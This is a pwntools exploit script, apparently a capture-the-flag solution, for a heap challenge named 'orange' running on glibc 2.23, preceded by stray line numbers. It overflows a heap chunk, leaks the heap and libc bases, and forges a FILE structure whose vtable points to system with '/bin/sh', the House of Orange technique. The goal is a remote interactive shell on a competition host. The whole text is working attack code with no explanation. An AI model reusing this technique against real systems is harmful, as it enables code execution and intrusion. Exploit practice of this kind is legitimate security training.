1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import * context.terminal = ['tmux','splitw','-h'] context.arch = 'amd64' GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' EXE = './orange'
def payload(lo:int): global sh if lo: sh = process(EXE) if lo & 2: gdb.attach(sh) else: sh = remote('competition.blue-whale.me', 20790) libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6') elf = ELF(EXE)
def addn(idx:int, size:int): sh.sendlineafter(b'4.', b'1') sh.sendlineafter(b'index', str(idx).encode()) sh.sendlineafter(b'size', str(size).encode())
def deln(idx:int) -> int: sh.sendlineafter(b'4.', b'2') sh.sendlineafter(b'index', str(idx).encode()) sh.recvuntil(b'delete: ') return int(sh.recvline(), 16)
def edit(idx:int, cont:bytes, overflow:bool=False): sh.sendlineafter(b'4.', b'3') sh.sendlineafter(b'index', str(idx).encode()) if overflow: sh.sendafter(b'cont', cont) else: sh.sendlineafter(b'cont', cont) def show(idx:int) -> bytes: sh.sendlineafter(b'4.', b'4') sh.sendlineafter(b'index', str(idx).encode()) sh.recvuntil(b'tent:\n') return sh.recvuntil(b'1.')
addn(1, 0x3d8) addn(2, 0x3d8) addn(3, 0x3d8)
addn(4, 0x1f8) addn(5, 0xe8)
edit(3, b'0'*0x3d8 + b'\xf1', True)
heapBase = deln(4) - 0xbb0 success(GOLD_TEXT(f'Leak heapBase: {hex(heapBase)}'))
addn(4, 0x208)
edit(5, p64(0) + p64(0x251))
addn(6, 0x300) val = show(5)
dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2 mainArena = u64(val[0x10:0x16] + b'\0\0') - 0x58 libcBase = mainArena - dumpArena success(GOLD_TEXT(f'leak libcBase: {hex(libcBase)}')) ioListAll = libcBase + libc.symbols['_IO_list_all'] system = libcBase + libc.symbols['system']
file = FileStructure() file.flags = u64(b'/bin/sh\0') file._IO_read_ptr = 0x61 file._IO_read_base = ioListAll - 0x10 file._IO_write_ptr = 1 file.vtable = heapBase + 0x10
edit(5, bytes(file)) edit(1, p64(0)*3 + p64(system))
addn(7, 0x100)
sh.clean() sh.interactive()
|